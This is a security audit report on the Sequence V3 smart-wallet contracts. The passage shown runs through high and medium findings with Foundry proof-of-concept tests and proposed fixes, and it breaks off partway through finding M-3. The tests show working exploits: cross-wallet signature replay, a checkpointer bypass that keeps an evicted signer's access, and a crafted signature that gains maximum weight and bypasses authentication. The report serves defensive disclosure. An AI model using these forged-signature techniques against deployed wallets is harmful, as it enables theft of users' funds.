Sequence Audit Report

Version 1.0

Tanu Gupta, Code4rena

November 4, 2025

Sequence Audit Report

Tanu Gupta

Oct 23, 2025

Prepared by: Tanu Gupta

Lead Security Researcher: Tanu Gupta

Table of Contents

    * [M-1] Relayer can escalate privileges by swapping unsigned call flag in `recoverSignature` of `SessionSig.sol`
    * [M-2] `deploy` in `Factory.sol` reverts when deploying a wallet that already exists
    * [M-3] Partial signature replay / front-running attack on session calls
    * [M-4] Static signatures are broken in ERC-4337 context, leading to denial of service
    * [M-5] `recoverSapientSignature` of `BaseAuth.sol` returns a constant instead of signer image hash, breaking sapient signature recovery
  - Low
    * [L-1] Nested `staticcall()` revert in `WebAuthn` library results in incorrect messageHash
    * [L-2] `ERC4337v07` Cannot Receive Native Token
    * [L-3] Using `ecrecover` directly vulnerable to signature malleability
    * [L-4] Missing validation for zero address in constructor parameter of `ERC4337v07` contract
    * [L-5] Lack of domain separation in passkey root calculation in `_rootForPasskey` allows for cross-implementation image hash equivalence
    * [L-6] Zero-address signer accepted in recovery queue via `queuePayload` of `Recovery.sol` allows unauthorized queue entries with signers as `address(0)`
    * [L-7] Unbounded growth of recovery queue via `queuePayload` allows storage bloat
    * [L-8] `_dispatchGuest` of `Guest.sol` fails silently via behaviorOnError equal to 3 leading to wrong emission of `Guest.CallSucceeded` event
    * [L-9] `Guest.sol` allows anyone to drain ETH from its balance through unauthenticated payable fallback
    * [L-10] Gas precheck doesn't account for `EIP-150's 63/64 rule`, causing calls to receive less gas than expected
    * [L-11] Recovery module lacks mechanism to remove expired or executed payloads from `queuedPayloadHashes` in `Recovery.sol`
  - Informational
    * [I-1] The NESTED flag implementation incorrectly masks bits in `recoverBranch()` of `BaseSig.sol`
    * [I-2] Potential Stack Exhaustion due to recursive structure

Protocol Summary

Sequence Ecosystem Wallet is a non-custodial smart wallet designed for chains and ecosystems. It combines passkeys, social auth, timed recovery keys, and sandboxed permissions to deliver higher security with less friction.

The codebase represents the V3 implementation of this infrastructure, utilizing a minimal proxy pattern and a novel Merkle-proof based configuration approach for smart wallets.

Disclaimer

I, Tanu Gupta makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Code4rena severity matrix is used to determine severity. See the documentation for more details.

Audit Details

The audit was performed over a period of nearly 2 weeks from Oct 8 to Oct 23, 2025. The codebase was reviewed in depth to identify potential security vulnerabilities, logic issues, and gas optimizations.

The findings correspond to the github repository Sequence-Ecosystem/smart-wallets-v3.

Scope

File
src/Factory.sol

File
src/Guest.sol
src/Stage1Module.sol
src/Stage2Module.sol
src/Wallet.sol
src/extensions/passkeys/Passkeys.sol
src/extensions/recovery/Recovery.sol
src/extensions/sessions/SessionErrors.sol
src/extensions/sessions/SessionManager.sol
src/extensions/sessions/SessionSig.sol
src/extensions/sessions/explicit/ExplicitSessionManager.sol
src/extensions/sessions/explicit/IExplicitSessionManager.sol
src/extensions/sessions/explicit/Permission.sol
src/extensions/sessions/explicit/PermissionValidator.sol
src/extensions/sessions/implicit/Attestation.sol
src/extensions/sessions/implicit/ISignalsImplicitMode.sol
src/extensions/sessions/implicit/ImplicitSessionManager.sol
src/modules/Calls.sol
src/modules/ERC4337v07.sol
src/modules/Hooks.sol
src/modules/Implementation.sol
src/modules/Nonce.sol
src/modules/Payload.sol
src/modules/ReentrancyGuard.sol
src/modules/Storage.sol
src/modules/auth/BaseAuth.sol
src/modules/auth/BaseSig.sol
src/modules/auth/SelfAuth.sol

File
src/modules/auth/Stage1Auth.sol
src/modules/auth/Stage2Auth.sol
src/modules/interfaces/IAccount.sol
src/modules/interfaces/IAuth.sol
src/modules/interfaces/ICheckpointer.sol
src/modules/interfaces/IDelegatedExtension.sol
src/modules/interfaces/IERC1155Receiver.sol
src/modules/interfaces/IERC1271.sol
src/modules/interfaces/IERC223Receiver.sol
src/modules/interfaces/IERC721Receiver.sol
src/modules/interfaces/IERC777Receiver.sol
src/modules/interfaces/IEntryPoint.sol
src/modules/interfaces/IPartialAuth.sol
src/modules/interfaces/ISapient.sol
src/utils/Base64.sol
src/utils/LibBytes.sol
src/utils/LibOptim.sol
src/utils/P256.sol
src/utils/WebAuthn.sol
Total Logic Contracts: 34

File
script/**.**
src/Estimator.sol
src/Simulator.sol
test/**.**
Total Contracts: 45

Roles

Executive Summary

The audit of the Sequence Ecosystem Wallet codebase identified several issues across different severity levels. The findings include high, medium, low severity vulnerabilities, as well as informational notes and gas optimizations. For high and medium severity issues, proof of code (POC) exploits have been provided to demonstrate the potential impact of the vulnerabilities. Low severity issues and informational notes are documented for awareness and future improvements.

Issues found

Severity	Number of issues found
High	3
Medium	5
Low	11
Info	2
Gas	0
Total	21

Findings

High

[H-1] Missing Wallet Binding Enables Cross-Wallet Signature Replay in Session Calls

Description `SessionSig.hashCallWithReplayProtection` computes the per-call digest as `keccak256(chainId, space, nonce, callIdx, Payload.hashCall(call))`, omitting the *verifying wallet address*. The digest is fed directly into ecrecover inside `SessionSig.recoverSignature` when reconstructing each CallSignature.

The surrounding manager, `SessionManager.recoverSapientSignature`, sets **wallet = msg.sender** and enforces various policy checks, but none of those constraints are included in the signed pre-image. As a result, a valid call signature produced for wallet A is indistinguishable (at the signature layer) from the same call executed by wallet B, provided both wallets accept the same imageHash.

This design allows cross-wallet replay: once a session signer issues a call signature for wallet A, any other wallet with the same session configuration can execute the signature unchanged.

Since SessionManager relies on the recovered session signer address only, the replayed signature satisfies the checks and the call executes as though it were authorized for wallet B. Delegation/permission enforcement is therefore circumvented by copying session call signatures between wallets sharing configuration state.

This violates the protocol's documented invariant that:

```
A signature intended for one particular Sequence wallet cannot be
    replayed on a different wallet.
```

The root cause of this issue lies in the `hashCallWithReplayProtection` function in the `SessionSig` library, which computes the hash used for session signature verification without including any wallet-specific identifier.

```
function hashCallWithReplayProtection(
    Payload.Decoded calldata payload,
    uint256 callIdx
) public view returns (bytes32 callHash) {
    return keccak256(
      abi.encodePacked(
        payload.noChainId ? 0 : block.chainid,
        payload.space,
        payload.nonce,
        callIdx,
        Payload.hashCall(payload.calls[callIdx])
      )
    );
}
```

Impact An attacker can steal funds from any wallet sharing an identical session configuration by replaying a captured session signature from another wallet.

Proof of Concepts 1. Create a wallet A with explicit session permissions allowing a specific call (e.g., calling an Emitter contract). 2. Create another wallet B with the same session configuration (same imageHash). 3. Wallet A generates a valid session signature for the allowed call. 4. Wallet B replays the exact same session signature and executes the call successfully, despite not being the original intended signer.

Create a new file and add the following test case in `ReplaySignature.t.sol`

Proof Of Code

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.27;

import { ExtendedSessionTestBase, Factory } from "../../integrations/
    extensions/sessions/ExtendedSessionTestBase.sol";

import { Stage1Module } from "src/Stage1Module.sol";
import { SessionPermissions, SessionUsageLimits } from "src/extensions/
    sessions/explicit/IExplicitSessionManager.sol";
import {
  ParameterOperation, ParameterRule, Permission, UsageLimit
} from "src/extensions/sessions/explicit/Permission.sol";
import { Payload } from "src/modules/Payload.sol";
import { Emitter } from "test/mocks/Emitter.sol";
import { PrimitivesRPC } from "test/utils/PrimitivesRPC.sol";

contract ReplaySignature is ExtendedSessionTestBase {

  function test_execute_Replay_Attack() external {
    Emitter emitter = new Emitter();
    Payload.Decoded memory payloadWalletA = _buildPayload(1);

    //creating
    payloadWalletA.calls[0] = Payload.Call({
      to: address(emitter),
      value: 0,
      data: abi.encodeWithSelector(emitter.explicitEmit.selector),
      gasLimit: 0,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
    });

    bytes memory packedPayloadA = PrimitivesRPC.toPackedPayload(vm,
       payloadWalletA);

    // Session permissions
    SessionPermissions memory sessionPerms = SessionPermissions({
      signer: sessionWallet.addr,
      chainId: block.chainid,
      valueLimit: 0,
      deadline: uint64(block.timestamp + 1 days),
      permissions: new Permission[](1)
    });

    ParameterRule[] memory rule = new ParameterRule[](1);
    rule[0] = ParameterRule({
      cumulative: false,
      operation: ParameterOperation.EQUAL,
      value: bytes32(uint256(uint32(emitter.explicitEmit.selector)) <<
          224),
      offset: 0, // offset the param (selector is 4 bytes)
      mask: bytes32(uint256(uint32(0xffffffff)) << 224)
    });

    sessionPerms.permissions[0] = Permission({ target: address(emitter), rules: rule });

    string memory topology = PrimitivesRPC.sessionEmpty(vm, identityWallet.addr);
    string memory sessionPermsJson = _sessionPermissionsToJSON(sessionPerms);
    topology = PrimitivesRPC.sessionExplicitAdd(vm, sessionPermsJson, topology);
    (Stage1Module walletA, string memory configA, bytes32 imageHashA) = _createWallet(topology);

    Factory secondaryFactory = new Factory();
    Stage1Module secondaryModule = new Stage1Module(address(secondaryFactory), address(entryPoint));
    //deploying another wallet that shares the same configuration as walletA
    Stage1Module walletB = Stage1Module(payable(secondaryFactory.deploy(address(secondaryModule), imageHashA)));

    uint8[] memory permissionIndx = new uint8[](1);
    permissionIndx[0] = 0;
    bytes memory signatureA = _validExplicitSignature(payloadWalletA, sessionWallet, configA, topology, permissionIndx);

    //Execute the payload using the encodedSignature of wallet A -> legitimate
    vm.expectEmit(true, true, true, true, address(emitter));
    emit Emitter.Explicit(address(walletA));
    vm.prank(address(walletA));
    walletA.execute(packedPayloadA, signatureA);

    //Wallet B reusing the signature of wallet A and executing the call
    vm.expectEmit(true, true, true, true, address(emitter));
    emit Emitter.Explicit(address(walletB));
    vm.prank(address(walletB));
    walletB.execute(packedPayloadA, signatureA);
  }

}
```

Recommended mitigation

1. Bind the verifying wallet to the call hash. For example, include wallet (either the expected wallet address or an EIP-712 domain separator containing it) in `hashCallWithReplayProtection`

.

2. Alternatively, extend the signed pre-image to match the EIP-712 domain model (`chainId, verifyingContract, wallet, etc.`) so signatures cannot be replayed on contracts with a different msg.sender.
3. Consider adding a second-level check in `SessionManager` that rejects signatures whose imageHash was not issued specifically for the calling wallet, rather than only verifying the recovered session signer.

[H-2] Checkpointer Bypass Via Chained Signature Allows Evicted Signers to Maintain Wallet Access

Description Consider a scenario where the top level signature flag is set to chained signature with no checkpointer bit set. In this case, the `recover` function in `BaseSig.sol` completely bypasses the checkpointer verification logic as for the chained signatures, `_ignoreCheckpointer` is set to true. Allowing attackers to:

- Use stale wallet configurations where they still have signing authority
- Wrap these signatures in chained signatures with the "no checkpointer" flag set
- Completely bypass the checkpointer's replay protection mechanism
- Maintain access to the wallet even after being evicted from the current configuration

```
  if (signatureFlag & 0x40 == 0x40 && _checkpointer == address(0)) {
      // Override the checkpointer
      // not ideal, but we don't have much room in the stack
      (_checkpointer, rindex) = _signature.readAddress(rindex);

      if (!_ignoreCheckpointer) {
        // Next 3 bytes determine the checkpointer data size
        uint256 checkpointerDataSize;
        (checkpointerDataSize, rindex) = _signature.readUint24(rindex);

        // Read the checkpointer data
        bytes memory checkpointerData = _signature[rindex:rindex +
            checkpointerDataSize];

        // Call the middleware
        snapshot = ICheckpointer(_checkpointer).snapshotFor(address(
            this), checkpointerData); //imageHash, checkpoint

        rindex += checkpointerDataSize;
      }
    }
```

Based on the above code snippet from `BaseSig.sol`, when the signature flag indicates a chained signature (0x40) and no checkpointer is provided, the if block is ignored entirely, leaving the following variables uninitialized: - `_checkpointer`: remains as address(0) - `snapshot.imageHash`: remains as bytes32(0) - `snapshot.checkpoint`: remains as uint256(0)

```
function recoverChained(
  Payload.Decoded memory _payload,
  address _checkpointer,
  Snapshot memory _snapshot,
  bytes calldata _signature
) internal view returns (uint256 threshold, uint256 weight, bytes32
   imageHash, uint256 checkpoint, bytes32 opHash) {
  Payload.Decoded memory linkedPayload;
  linkedPayload.kind = Payload.KIND_CONFIG_UPDATE;

  uint256 rindex;
  uint256 prevCheckpoint = type(uint256).max;

  while (rindex < _signature.length) {
    uint256 nrindex;

    {
      uint256 sigSize;
      (sigSize, rindex) = _signature.readUint24(rindex);
      nrindex = sigSize + rindex;
    }

    address checkpointer = nrindex == _signature.length ?
       _checkpointer : address(0);

    if (prevCheckpoint == type(uint256).max) {
      (threshold, weight, imageHash, checkpoint, opHash) =
        recover(_payload, _signature[rindex:nrindex], true,
           checkpointer);
    } else {
      // [...]
    }

   // [...]
```

In the above code snippet, if the chained signature contains only one signature segment (i.e., `nrindex == _signature.length`), the `_checkpointer` variable (which is address(0)) is passed to the `recover` function.

It enters the `recover` again and this allows the attacker to bypass the checkpointer verification logic completely, as the subsequent code for traversing the rest of the chained signature is skipped due to the `_ignoreCheckpointer` flag being set to true.

The function then returns successfully, due to this part of code as `snapshot.imageHash == 0` because checkpointer verification was skipped:

```
if (snapshot.imageHash != bytes32(0) && snapshot.imageHash !=
    imageHash && checkpoint <= snapshot.checkpoint) {
  revert UnusedSnapshot(snapshot);
}
```

After all this the signature recovery doesn't revert and returns an image hash which is valid for the wallet's current configuration. The checkpointer has been ignored completely which could have been ahead of wallet configuration and pointing to latest configuration.

Impact An evicted signer can maliciously sign a payload (valid with respect to the stale wallet configuration) and perform operations on the wallet.

Proof of Concepts

1. Create a wallet configuration where Alice is a signer.
2. Update the wallet configuration to evict Alice and add Bob as a signer, with the checkpointer pointing to this new configuration.
3. Alice signs a transaction payload valid under the old configuration.
4. Transaction is wrapped in a chained signature with the "no checkpointer" flag set.
5. The signature goes through successfully, allowing Alice to execute the transaction despite being evicted.

Paste the following test case in `BaseSig.t.sol`

Proof Of Code

```
function test_Checkpointer_Bypass() external {
  address checkpointerAddress = makeAddr("check pointer");

  (address alice, uint256 aliceKey) = makeAddrAndKey("alice");
  (address bob,) = makeAddrAndKey("bob");
  Payload.Decoded memory payload;
  uint256 checkpoint1 = 1;
  uint16 threshold1 = 1;
  uint256 checkpoint2 = 2;
  uint16 threshold2 = 1;

  // Let's assume config1 is currently where the wallet contract is
     at, while the checkpointer is ahead at config2
  string memory config1 = PrimitivesRPC.newConfigWithCheckpointer(
    vm, checkpointerAddress, threshold1, checkpoint1, string(abi.
       encodePacked("signer:", vm.toString(alice), ":1"))
  );
  // In config2 Alice is no longer a signer so she shouldn't be able
     to authorise any more transactions
  string memory config2 = PrimitivesRPC.newConfigWithCheckpointer(
    vm, checkpointerAddress, threshold2, checkpoint2, string(abi.encodePacked("signer:", vm.toString(bob), ":2"))
  );
  payload.kind = Payload.KIND_TRANSACTIONS;
  payload.kind = Payload.KIND_TRANSACTIONS;
  payload.calls = new Payload.Call[](1);
  payload.calls[0] = Payload.Call({
    to: address(0x123),
    value: 0,
    data: "",
    gasLimit: 100000,
    delegateCall: false,
    onlyFallback: false,
    behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
  });

  Snapshot memory latestSnapshot = Snapshot(PrimitivesRPC.getImageHash(vm, config2), 2);

  (uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, Payload.hashFor(payload, address(baseSigImp)));

  string memory se =
    string(abi.encodePacked(vm.toString(alice), ":hash:", vm.toString(r), ":", vm.toString(s), ":", vm.toString(v)));

  bytes memory innerSignature = PrimitivesRPC.toEncodedSignature(vm, config1, se, true);

  bytes memory maliciousSignature = abi.encodePacked(
    bytes1(0x05), // Outer: chained + no checkpointer
    bytes3(uint24(innerSignature.length)), // Length of inner signature
    innerSignature // Signature that SHOULD require checkpointer but won't be validated
  );

  // Mock checkpointer to return latest state
  vm.mockCall(
    checkpointerAddress, abi.encodeWithSelector(ICheckpointer.snapshotFor.selector), abi.encode(latestSnapshot)
  );

  (uint256 threshold, uint256 weight, bytes32 imageHash, uint256 checkpoint,) =
    baseSigImp.recoverPub(payload, maliciousSignature, true, address(0));

  assertGe(weight, threshold, "Weight must at least reach threshold");
}
```

Recommended mitigation Do not permit the checkpointer to be disabled in the signature (bit 6 left unset) if a chained signature is used. The signature recovery should revert in this case. For example, create a new custom error for this and add it here:

```
      // If signature type is 01 or 11 we do a chained signature
      if (signatureFlag & 0x01 == 0x01) {
+       if (signatureFlag & 0x40 == 0) {
+         revert MissingCheckpointer();
+       }
        return recoverChained(_payload, _checkpointer, snapshot,
           _signature[rindex:]);
      }
```

[H-3] Signature Parsing Corruption in `recover()` When `_ignoreCheckpointer = true` Allows Complete Authentication Bypass

Description The `BaseSigImp.recover()` function contains a critical parsing vulnerability when processing signatures with the checkpointer flag set but `_ignoreCheckpointer = true`. Due to improper pointer arithmetic, the function fails to advance the read index past checkpointer data when it should be ignored, causing subsequent signature components (`checkpoint, threshold, and merkle tree data`) to be read from incorrect positions in the signature byte array.

This allows an attacker to craft malicious signatures where: - Checkpointer data size bytes are misinterpreted as threshold values - Checkpointer data content is misinterpreted as merkle tree nodes - Specifically, the `FLAG_SUBDIGEST` merkle node can be triggered to set weight to `type(uint256).max`

The root cause is in the checkpointer handling logic where rindex is not advanced past checkpointer data when`_ignoreCheckpointer = true`, corrupting the entire subsequent parsing flow.

Impact - **Complete authentication bypass:** Any signature can be crafted to validate with maximum weight - **Total signature validation failure:** The cryptographic security guarantees are completely broken - **Funds theft and unauthorized access:** Attackers can execute arbitrary transactions on behalf of any wallet

Because the parser now trusts bytes that were supposed to be opaque checkpointer data, an attacker can bypass the per-segment weight guard (e.g., set threshold to zero or inject arbitrary subtree data), undermining chained-signature validation and causing desynchronised or forged configurations.

This is a real parsing flaw as the contracts should always advance past the declared length (or reject non-zero payloads) even when ignoring the middleware call.

Proof of Concepts 1. The first byte of the checkpointer data length becomes the checkpoint value. 2. The second byte of the checkpointer data length becomes the threshold value. 3. The third byte of the checkpointer data length becomes the flag for merkle tree node selection. Yielding `FLAG_SUBDIGEST` which sets weight to `type(uint256).max` without any genuine threshold encoding. No actual signer data is ever parsed, yet the segment passes the weight check.

4. The following bytes are the opHash.

Attack Path: 1. Suppose a wallet has a chained configuration update, every segment must meet the internal threshold check before the final payload executes. The contract calls `recover(_payload, _signature[rindex:nrindex], true, checkpointer)` for each segment after the first one. 2. An Attacker could craft one such segment with the following structure: - Top level signature flag: `0x40` (chained + ignore checkpointer) - Checkpointer address: any valid address (not used) - Checkpointer data size: `0x02 0x01 0x50` (2 bytes length, interpreted as checkpoint=2, threshold=1, flag=0x50) - OpHash: valid opHash bytes When processed, the parser misreads the checkpointer data size bytes as actual values, leading to: - checkpoint = 2 - threshold = 1 - flag = 0x50 → triggers `FLAG_SUBDIGEST` → weight = `type(uint256).max` 3. The segment passes the weight check since `type(uint256).max >= 1`, allowing the attacker to bypass authentication entirely. 4. By repeating this for each segment they cannot satisfy, the attacker forges any configuration update or payload signature they want, ultimately allowing unauthorized transactions or config changes to execute.

Paste the following test case in `BaseSig.t.sol`

```solidity
function test_Ignore_Checkpointer_Leaves_CheckpointerData_InStream(
 ) external {
   Payload.Decoded memory payload;
   bytes32 opHash = Payload.hashFor(payload, address(baseSigImp));
   bytes memory opHashBytes = abi.encodePacked(opHash);

   address checkpointer = makeAddr("checkpointer");
   bytes memory signature = abi.encodePacked(
     bytes1(0x44), //Top level signature -> only checkpointer usage
         bit is set
     bytes20(checkpointer), //Checkpointer address
     bytes1(0x02), //Byte 1, Reading Checkpoint value
     bytes1(uint8(0x01)), //+ Byte 2 , Read as threshold
     bytes1(uint8(0x50)), //+ Byte 3 , Read as flag for branch
         signature (0101 0000 & 1111 0000 ) >> 4 => 101 => 5
     opHashBytes
   );

   (uint256 threshold, uint256 weight,, uint256 checkpoint, bytes32
       recoveredOpHash) =
     baseSigImp.recoverPub(payload, signature, true, address(0));

   assertEq(threshold, 1,'Threshold not set as intended');
   assertEq(weight, type(uint256).max, "Weight not set as intended");
```

```
    assertEq(checkpoint, 2,'Checkpoint not set as intended');
    assertEq(recoveredOpHash, opHash, "OpHash didn't match");
  }
```

Recommended mitigation Always consume the declared checkpointer payload, even when `_ignoreCheckpointer` is true. Read the 3-byte length, advance rindex by that many bytes, and (optionally) copy the data into a scratch buffer so the decoder stays aligned.

Medium

[M-1] Relayer can escalate privileges by swapping unsigned call flag in `recoverSignature` of `SessionSig.sol`

Description The session system's call signatures do not cryptographically bind to the specific permission or attestation being used for validation. The hashCallWithReplayProtection() function computes signature digests using only call parameters and replay protection fields, excluding the permission/attestation selection flag byte.

Code Example from `SessionSig.sol`:

```
function hashCallWithReplayProtection(
    Payload.Decoded calldata payload,
    uint256 callIdx
  ) public view returns (bytes32 callHash) {
@>    return keccak256(
      abi.encodePacked(
        payload.noChainId ? 0 : block.chainid,
        payload.space,
        payload.nonce,
        callIdx,
        Payload.hashCall(payload.calls[callIdx])
      )
    );
  }
```

This allows relayers to modify the flag byte in encodedSignature to select different permissions or attestations without invalidating the signature.

The vulnerability exists because:

1. SessionSig.recoverSignature() reads the flag byte to determine whether to use implicit/explicit validation and which permission/attestation index to apply
2. SessionSig.hashCallWithReplayProtection() omits the flag byte from the signed digest
3. The same signature remains valid regardless of which permission/attestation is selected, as long as the call parameters are compatible

Impact Relayers can escalate privileges by: 1. Switching from restrictive to permissive permissions within the same session 2. Bypassing intended security controls (selector restrictions, parameter rules, value limits) 3. Undermining the authorization semantics of the entire session system

This enables MEV extraction, censorship, and unauthorized actions while appearing to use valid user signatures.

Proof of Concepts The test demonstrates how the same signature works with different permission indices:

Find the below test case in `SessionSig.t.sol`

Proof of Code

```
function
    test_FlagByteSwap_ExplicitPermissionIndexNotSigned_AllowsEscalation
    () external {
    Payload.Decoded memory payload = _buildPayload(1);

    // First call with BEHAVIOR_ABORT_ON_ERROR (should revert)
    payload.calls[0] = Payload.Call({
      to: address(emitter),
      value: 0,
      data: abi.encodeWithSelector(emitter.explicitEmit.selector),
      gasLimit: 0,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR // This should
          revert
     });

    // Session permissions
    SessionPermissions memory sessionPerms = SessionPermissions({
      signer: sessionWallet.addr,
      chainId: block.chainid,
      valueLimit: 0,
      deadline: uint64(block.timestamp + 1 days),
      permissions: new Permission[](2)
    });

    ParameterRule[] memory rule0 = new ParameterRule[](1);
    // Rules for explicitTarget in call 0.
    rule0[0] = ParameterRule({
      cumulative: false,
      operation: ParameterOperation.EQUAL,
      value: bytes32(uint256(uint32(~emitter.explicitEmit.selector)) <<
          224),
      offset: 0,
      mask: bytes32(uint256(uint32(0xffffffff)) << 224)
    });

    ParameterRule[] memory rule1 = new ParameterRule[](1);
    rule1[0] = ParameterRule({
      cumulative: false,
      operation: ParameterOperation.EQUAL,
      value: bytes32(uint256(uint32(emitter.explicitEmit.selector)) << 224),
      offset: 0, // offset the param (selector is 4 bytes)
      mask: bytes32(uint256(uint32(0xffffffff)) << 224)
    });

    sessionPerms.permissions[0] = Permission({ target: address(emitter), rules: rule0 });
    sessionPerms.permissions[1] = Permission({ target: address(emitter), rules: rule1 }); // Unlimited access

    string memory topology = PrimitivesRPC.sessionEmpty(vm, identityWallet.addr);
    string memory sessionPermsJson = _sessionPermissionsToJSON(sessionPerms);
    topology = PrimitivesRPC.sessionExplicitAdd(vm, sessionPermsJson, topology);
    string memory sessionSignature =
      _signAndEncodeRSV(SessionSig.hashCallWithReplayProtection(payload, 0), sessionWallet);

    {
      uint256 callCount = payload.calls.length;
      string[] memory callSignatures = new string[](callCount);
      callSignatures[0] = _explicitCallSignatureToJSON(0, sessionSignature);
      address[] memory explicitSigners = new address[](1);
      explicitSigners[0] = sessionWallet.addr;
      address[] memory implicitSigners = new address[](0);

      bytes memory encodedSigIdx0 =
        PrimitivesRPC.sessionEncodeCallSignatures(vm, topology, callSignatures, explicitSigners, implicitSigners);
      vm.expectRevert();
      sessionManager.recoverSapientSignature(payload, encodedSigIdx0);
    }

    {
      uint256 callCount = payload.calls.length;
      string[] memory callSignatures = new string[](callCount);
      //Changing flag byte to use permission index 1 instead of 0 as sessionSignature is not bound to flag byte thus allowing escalation
  @>  callSignatures[0] = _explicitCallSignatureToJSON(1, sessionSignature);
      address[] memory explicitSigners = new address[](1);
      explicitSigners[0] = sessionWallet.addr;
```

```
        address[] memory implicitSigners = new address[](0);

        bytes memory encodedSigIdx1 =
          PrimitivesRPC.sessionEncodeCallSignatures(vm, topology,
              callSignatures, explicitSigners, implicitSigners);

        sessionManager.recoverSapientSignature(payload, encodedSigIdx1);
      }
    }
```

Recommended mitigation Include the permission/attestation selection in the signed digest:

```
function hashCallWithReplayProtection(
    Payload.Decoded calldata payload,
    uint256 callIdx,
+   uint8 callFlag  // Add flag parameter
) public view returns (bytes32 callHash) {
    return keccak256(
        abi.encodePacked(
            payload.noChainId ? 0 : block.chainid,
            payload.space,
            payload.nonce,
            callIdx,
+           callFlag,  // Include flag in signature
            Payload.hashCall(payload.calls[callIdx])
        )
    );
}

- bytes32 callHash = hashCallWithReplayProtection(payload, i, flag)
+ // Update recovery to pass the flag
+ bytes32 callHash = hashCallWithReplayProtection(payload, i, flag);
```

For stronger protection, include a hash of the specific permission rules or attestation content based on the type of session rather than just the index.

[M-2] `deploy` in `Factory.sol` reverts when deploying a wallet that already exists

Description The `deploy` function in `Factory.sol` uses `create2` to deploy wallet contracts at deterministic addresses based on the main module and a salt. If a wallet with the same main module and salt has already been deployed, any subsequent attempt to deploy it again will revert.

Documentation of ERC-4337 states:

```
If the factory does use CREATE2 0xF5 or some other deterministic method
    to create the Account, it is expected to return the Account address
    even if it had already been created.
```

Additionally, as per the current design of Sequence wallet, **Sequence wallets fully support ERC-4337 account abstraction** as stated in the documentation. Therefore, the factory should allow multiple calls to `deploy` with the same parameters to return the existing wallet address instead of reverting.

Code Example from `Factory.sol`:

```
function deploy(address _mainModule, bytes32 _salt) public payable
    returns (address _contract) {
    bytes memory code = abi.encodePacked(Wallet.creationCode, uint256(
        uint160(_mainModule)));
    assembly {
      _contract := create2(callvalue(), add(code, 32), mload(code),
          _salt)
    }
    if (_contract == address(0)) {
      revert DeployFailed(_mainModule, _salt);
    }
  }
```

Impact 1. Compatibility break with ERC-4337 2. DoS as a result of front-running

Proof of Concepts 1. Deploy a wallet using specific main module and salt. 2. Attempt to deploy the same wallet again with the same parameters. 3. Second deployment reverts instead of returning the existing wallet address with `CreateCollision` error.

```
  function test_deployTwice_Reverts(address _mainModule, bytes32 _salt)
      external {
    address result = factory.deploy(_mainModule, _salt);
    console2.log("result.code.length: ", result.code.length);
     assertEq(result.code.length, 33, "Wallet size mismatch");

    vm.expectRevert();
    result = factory.deploy(_mainModule, _salt);
    // assertEq(result.code.length, 33, "Wallet size mismatch");
  }
```

Recommended mitigation Modify the `deploy` function to check if the wallet already exists at the computed address. If it does, return the existing address instead of attempting to deploy again.

```
function deploy(address _mainModule, bytes32 _salt) public payable
    returns (address _contract) {
    bytes memory code = abi.encodePacked(Wallet.creationCode, uint256(
        uint160(_mainModule)));
+   bytes32 codeHash = keccak256(code);
+   bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(
    this), _salt, codeHash));
+   address predictedAddress = address(uint160(uint256(hash)));
+   if (predictedAddress.code.length != 0) {
+     return predictedAddress; // Return existing wallet address
+   }
```

```
    assembly {
      _contract := create2(callvalue(), add(code, 32), mload(code), _salt)
    }
    if (_contract == address(0)) {
      revert DeployFailed(_mainModule, _salt);
    }
  }
```

[M-3] Partial signature replay / front-running attack on session calls

Description When a session call with `BEHAVIOR_REVERT_ON_ERROR` behavior fails, the entire execution reverts but the signature remains valid, since nonce is not yet consumed. Attackers can forge a valid partial signature from failed multi-call session, executing partial calls that were never intended to run independently using the siganture which was meant for the complete payload.

Due to the lack of binding between the individual call hashes and signer, an attacker can extract the specific calls from the failed session signature and replay them to execute only those calls.

Moreover, if an attacker has access to mempool, they can frontrun a multi-call session to execute only a subset of calls to either grief the legitmiate call, or inflict financial damage to the wallet owners.

Code Example from `Calls.sol`:

- The nonce is consumed before the signature validation and execution of calls.

```
function execute(bytes calldata _payload, bytes calldata _signature) external payable virtual nonReentrant {
    uint256 startingGas = gasleft();
    Payload.Decoded memory decoded = Payload.fromPackedCalls(_payload);

@>  _consumeNonce(decoded.space, decoded.nonce);
    (bool isValid, bytes32 opHash) = signatureValidation(decoded, _signature);

    if (!isValid) {
      revert InvalidSignature(decoded, _signature);
    }

    _execute(startingGas, opHash, decoded);
  }
```

If one of the calls in a mutli-call session fails with `BEHAVIOR_REVERT_ON_ERROR`, the entire transaction reverts but the nonce remains unconsumed, allowing the signature to be reused.

```
function _execute(uint256 _startingGas, bytes32 _opHash, Payload.Decoded memory _decoded) private {
    bool errorFlag = false;

    uint256 numCalls = _decoded.calls.length;
    for (uint256 i = 0; i < numCalls; i++) {
      Payload.Call memory call = _decoded.calls[i];

      if (call.onlyFallback && !errorFlag) {
        emit CallSkipped(_opHash, i);
        continue;
      }
      errorFlag = false;
      uint256 gasLimit = call.gasLimit;
      if (gasLimit != 0 && gasleft() < gasLimit) {
        revert NotEnoughGas(_decoded, i, gasleft());
      }

      bool success;
      if (call.delegateCall) {
        (success) = LibOptim.delegatecall(
          [...]
        );
      } else {

        (success) = LibOptim.call(call.to, call.value, gasLimit == 0 ?
           gasleft() : gasLimit, call.data);
      }

      if (!success) {
        [...]

@>      if (call.behaviorOnError == Payload.BEHAVIOR_REVERT_ON_ERROR) {
          revert Reverted(_decoded, i, LibOptim.returnData());
        }
        [...]
      }

      emit CallSucceeded(_opHash, i);
    }
  }
```

At this point, the *signature* is publicly **visible** and still valid, because nonce usage is not recorded on Calls contract yet. Session signatures are validated per-call using individual call hashes, which makes partial signature replay attack possible:

```
{
  bytes32 r;
  bytes32 s;
  uint8 v;
  (r, s, v, pointer) = encodedSignature.readRSVCompact(pointer);
  bytes32 callHash = hashCallWithReplayProtection(payload, i);
  callSignature.sessionSigner = ecrecover(callHash, v, r, s);
